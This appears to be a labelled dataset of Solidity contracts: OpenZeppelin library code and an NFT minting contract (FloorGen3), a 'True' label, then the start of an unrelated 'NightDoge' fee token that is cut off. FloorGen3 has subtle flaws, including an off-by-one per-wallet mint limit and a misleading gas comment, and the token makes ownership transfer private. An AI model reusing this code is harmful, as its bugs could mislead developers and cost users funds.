* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/finance/PaymentSplitter.sol
// OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol)
pragma solidity ^0.8.0;
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*
* NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and
* tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you
* to run tests before sending real value to this contract.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/EIP712Claimable.sol
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract EIP712Claimable is Ownable {
using ECDSA for bytes32;
// The key used to sign whitelist signatures.
// We will check to ensure that the key that signed the signature
// is this one that we expect.
address claimSigningKey = address(0);
// Domain Separator is the EIP-712 defined structure that defines what contract
// and chain these signatures can be used for. This ensures people can't take
// a signature used to mint on one contract and use it for another, or a signature
// from testnet to replay on mainnet.
// It has to be created in the constructor so we can dynamically grab the chainId.
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md#definition-of-domainseparator
bytes32 public DOMAIN_SEPARATOR;
// The typehash for the data type specified in the structured data
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md#rationale-for-typehash
// This should match whats in the client side whitelist signing code
// https://github.com/msfeldstein/EIP712-whitelisting/blob/main/test/signWhitelist.ts#L22
bytes32 public constant MINTER_TYPEHASH =
keccak256("Minter(address wallet,uint256 count)");
constructor() {
// This should match whats in the client side whitelist signing code
// https://github.com/msfeldstein/EIP712-whitelisting/blob/main/test/signWhitelist.ts#L12
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
// This should match the domain you set in your client side signing.
keccak256(bytes("ClaimToken")),
keccak256(bytes("1")),
block.chainid,
address(this)
)
);
}
function setClaimSigningAddress(address newSigningKey) public onlyOwner {
claimSigningKey = newSigningKey;
}
modifier requiresClaim(bytes calldata signature, uint256 count) {
require(claimSigningKey != address(0), "claiming not enabled");
// Verify EIP-712 signature by recreating the data structure
// that we signed on the client side, and then using that to recover
// the address that signed the signature for this data.
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(
MINTER_TYPEHASH,
msg.sender,
count))
)
);
// Use the recover method to see what address was used to create
// the signature on this data.
// Note that if the digest doesn't exactly match what was signed we'll
// get a random recovered address.
address recoveredAddress = digest.recover(signature);
require(recoveredAddress == claimSigningKey, "Invalid Signature");
_;
}
}
// File: contracts/floor_gen3.sol
// ███╗ ███╗ █████╗ ██████╗ ███████╗ ██╗ ██╗██╗████████╗██╗ ██╗ ███╗ ███╗ █████╗ ███████╗ ██████╗ ███╗ ██╗
// ████╗ ████║██╔══██╗██╔══██╗██╔════╝ ██║ ██║██║╚══██╔══╝██║ ██║ ████╗ ████║██╔══██╗██╔════╝██╔═══██╗████╗ ██║
// ██╔████╔██║███████║██║ ██║█████╗ ██║ █╗ ██║██║ ██║ ███████║ ██╔████╔██║███████║███████╗██║ ██║██╔██╗ ██║
// ██║╚██╔╝██║██╔══██║██║ ██║██╔══╝ ██║███╗██║██║ ██║ ██╔══██║ ██║╚██╔╝██║██╔══██║╚════██║██║ ██║██║╚██╗██║
// ██║ ╚═╝ ██║██║ ██║██████╔╝███████╗ ╚███╔███╔╝██║ ██║ ██║ ██║ ██║ ╚═╝ ██║██║ ██║███████║╚██████╔╝██║ ╚████║
// ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═══╝
pragma solidity ^0.8.9;
contract FloorGen3 is ERC721, ReentrancyGuard, Ownable, EIP712Claimable{
using Counters for Counters.Counter;
uint256 public PRICE;
uint256 public MAX_SUPPLY;
uint256 public MAX_RESERVED_SUPPLY;
uint256 public MAX_PUBLIC_SUPPLY;
uint256 public MAX_PER_WALLET;
uint256 public MAX_MULTIMINT;
Counters.Counter private supplyCounter;
Counters.Counter private reservedSupplyCounter;
PaymentSplitter private _splitter;
constructor (
string memory tokenName,
string memory tokenSymbol,
string memory customBaseURI_,
address[] memory payees,
uint256[] memory shares,
uint256 _tokenPrice,
uint256 _tokensForSale,
uint256 _tokensReserved) ERC721(tokenName, tokenSymbol) {
customBaseURI = customBaseURI_;
PRICE = _tokenPrice;
MAX_SUPPLY = _tokensForSale;
MAX_RESERVED_SUPPLY = _tokensReserved;
MAX_PUBLIC_SUPPLY = MAX_SUPPLY - MAX_RESERVED_SUPPLY;
MAX_PER_WALLET = 20;
MAX_MULTIMINT = 5;
_splitter = new PaymentSplitter(payees, shares);
}
/** MINTING **/
function mint(uint256 count) public payable nonReentrant {
require(saleIsActive, "Sale not active");
require(totalPublicSupply() + count - 1 < MAX_PUBLIC_SUPPLY, "Exceeds max supply");
require(count - 1 < MAX_MULTIMINT, "Trying to mint too many at a time");
require(
msg.value >= PRICE * count, "Insufficient payment"
);
if (allowedMintCount(msg.sender) > count) {
updateMintCount(msg.sender, count);
} else {
revert("Minting limit exceeded");
}
for (uint256 i = 0; i < count; i++) {
supplyCounter.increment();
_safeMint(msg.sender, totalSupply());
}
payable(_splitter).transfer(msg.value);
}
function ownerMint(uint256 count, address recipient) external onlyOwner() {
require(totalReservedSupply() + count - 1 < MAX_RESERVED_SUPPLY, "Exceeds max reserved supply");
require(totalSupply() + count - 1 < MAX_SUPPLY , "Exceeds max supply");
for (uint256 i = 0; i < count; i++) {
reservedSupplyCounter.increment();
_safeMint(recipient, totalSupply());
}
}
function totalSupply() public view returns (uint256) {
return supplyCounter.current() + reservedSupplyCounter.current();
}
function totalPublicSupply() public view returns (uint256) {
return supplyCounter.current();
}
function totalReservedSupply() public view returns (uint256) {
return reservedSupplyCounter.current();
}
/** ACTIVATION **/
bool public saleIsActive = true;
function flipSaleState() external onlyOwner {
saleIsActive = !saleIsActive;
}
/** ADMIN **/
function setPrice(uint256 _tokenPrice) external onlyOwner {
PRICE = _tokenPrice;
}
function setMultiMint(uint256 _maxMultimint) external onlyOwner {
MAX_MULTIMINT = _maxMultimint;
}
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
MAX_PER_WALLET = _maxPerWallet;
}
/** MINTING LIMITS **/
mapping(address => uint256) private mintCountMap;
function allowedMintCount(address minter) public view returns (uint256) {
return MAX_PER_WALLET - mintCountMap[minter];
}
function updateMintCount(address minter, uint256 count) private {
mintCountMap[minter] += count;
}
/** Claiming **/
mapping(address => uint256) private claimCounts;
bool public claimingIsActive = true;
function flipClaimState() external onlyOwner {
claimingIsActive = !claimingIsActive;
}
function tokensClaimed(address minter) public view returns (uint256) {
return claimCounts[minter];
}
function checkClaimlist(uint256 count, bytes calldata signature) public view requiresClaim(signature, count) returns (bool) {
return true;
}
function hasUnclaimedTokens(address minter) public view returns (bool) {
return claimCounts[minter] == 0;
}
function updateClaimCount(address minter, uint256 count) private {
claimCounts[minter] += count;
}
function claimTokens(uint256 count, bytes calldata signature) public payable requiresClaim(signature, count) nonReentrant {
require(claimingIsActive, "Claiming not active");
require(totalReservedSupply() + count - 1 < MAX_RESERVED_SUPPLY, "Exceeds max reserved supply");
require(totalSupply() + count - 1 < MAX_SUPPLY , "Exceeds max supply");
if (hasUnclaimedTokens(msg.sender)) {
updateClaimCount(msg.sender, count);
} else {
revert("You have already claimed all your tokens");
}
for (uint256 i = 0; i < count; i++) {
reservedSupplyCounter.increment();
_safeMint(msg.sender, totalSupply());
}
}
/** OWNERSHIP **/
// WARNING: This function is not expensive, it should not be called from within the contract!!!
function tokensOfOwner(address _owner) external view returns(uint256[] memory ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](1);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalTokens = totalSupply();
uint256 resultIndex = 0;
uint256 tokenId;
for (tokenId = 1; tokenId <= totalTokens; tokenId++) {
if (ownerOf(tokenId) == _owner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
return result;
}
}
/** URI HANDLING **/
string private customBaseURI;
function baseTokenURI() public view returns (string memory) {
return customBaseURI;
}
function setBaseURI(string memory customBaseURI_) external onlyOwner {
customBaseURI = customBaseURI_;
}
function _baseURI() internal view virtual override returns (string memory) {
return customBaseURI;
}
/** PAYOUT **/
function release(address payable account) public virtual onlyOwner {
_splitter.release(account);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/*
███ ██ ██ ██████ ██ ██ ████████ ██████ ██████ ██████ ███████
████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███ ███████ ██ ██ ██ ██ ██ ██ ███ █████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ████ ██ ██████ ██ ██ ██ ██████ ██████ ██████ ███████
🌟Total Supply : 1 Trillion
🌟100% Lock Liquidity
🌟Bot Protection
🌟Fair Launch
🌟4% Dev Fee, 6% Marketing Fee, 2% Re-distribution Fee
🌟 Website : https:// (https://nightdoge.net/)nightdoge.net (https://nightdoge.net/)
🌟 Telegram : https://t.me/nightdogeofficial
🌟 Twitter : https://twitter.com/ntdogeofficial
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
